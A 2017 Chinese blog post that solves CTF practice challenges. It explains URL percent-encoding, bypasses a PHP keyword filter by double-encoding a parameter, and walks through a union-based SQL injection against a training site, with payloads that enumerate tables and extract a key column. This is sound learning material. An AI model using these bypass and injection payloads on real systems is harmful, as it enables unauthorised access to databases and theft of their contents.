url编码&&PHP大法&&这个看起来有点简单&&HTML 中有用的字符实体

URL编码

Url编码通常也被称为百分号编码(Url Encoding,also known as percent-encoding),是因为它的编码方式非常简单,使用%百分号加上两位的字符——0123456789ABCDEF——代表一个字节的 十六进制形式。Url编码默认使用的字符集是US-ASCII。例如a在US-ASCII码中对应的字节是0x61,那么Url编码之后得到的就 是%61,我们在地址栏上输入http://g.cn/search?q=%61%62%63,实际上就等同于在google上搜索abc了。又如@符号 在ASCII字符集中对应的字节为0x40,经过Url编码之后得到的是%40。

  对于非ASCII字符,需要使用ASCII字符集的超集进行编码得到相应的字节,然后对每个字节执行百分号编码。对于Unicode字 符,RFC文档建议使用utf-8对其进行编码得到相应的字节,然后对每个字节执行百分号编码。如"中文"使用UTF-8字符集得到的字节为0xE4 0xB8 0xAD 0xE6 0x96 0x87,经过Url编码之后得到"%E4%B8%AD%E6%96%87"。

  如果某个字节对应着ASCII字符集中的某个非保留字符,则此字节无需使用百分号表示。例如"Url编码",使用UTF-8编码得到的字节是 0x55 0x72 0x6C 0xE7 0xBC 0x96 0xE7 0xA0 0x81,由于前三个字节对应着ASCII中的非保留字符"Url",因此这三个字节可以用非保留字符"Url"表示。最终的Url编码可以简化 成"Url%E7%BC%96%E7%A0%81" ,当然,如果你用"%55%72%6C%E7%BC%96%E7%A0%81"也是可以的。

PHP大法

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

如果id=hackerDJ不输出flag但是解码后的id=hackerDJ可以输出flag

%的编码为%25,h的编码为%68,所以合起来为%2568,

所以 payload:

http://ctf5.shiyanbar.com/DUTCTF/index.php?id=%2568ackerDJ

得到flag:

 这个看起来有点简单

payload1:http://ctf5.shiyanbar.com/8/index.php?id=1 or 1=1

得到:

可知,此题是sql注入,没有过滤or

payload2:http://ctf5.shiyanbar.com/8/index.php?id=1 order by 2

但是order by 3是错的,所以有两个字段,即有两列,补充关于order by 1,2:

order by 几,对应的就是第几列

payload3:http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,2

结果:输出1,2两个数字

payload4:http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,database()

输出1和数据库

 

payload5:http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()

从imformation_schema.tables中输出table_schema是数据库的table_name

payload6:http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_name='thiskey'

输出table_name=thiskey的column_name

payload7:http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,k0y from my_db.thiskey

输出key

 

 

HTML中有用的实体符号:

用法:<p>&#174</p>

posted @ 2017-10-28 11:40  S_s_s  阅读(803)  评论(0编辑  收藏  举报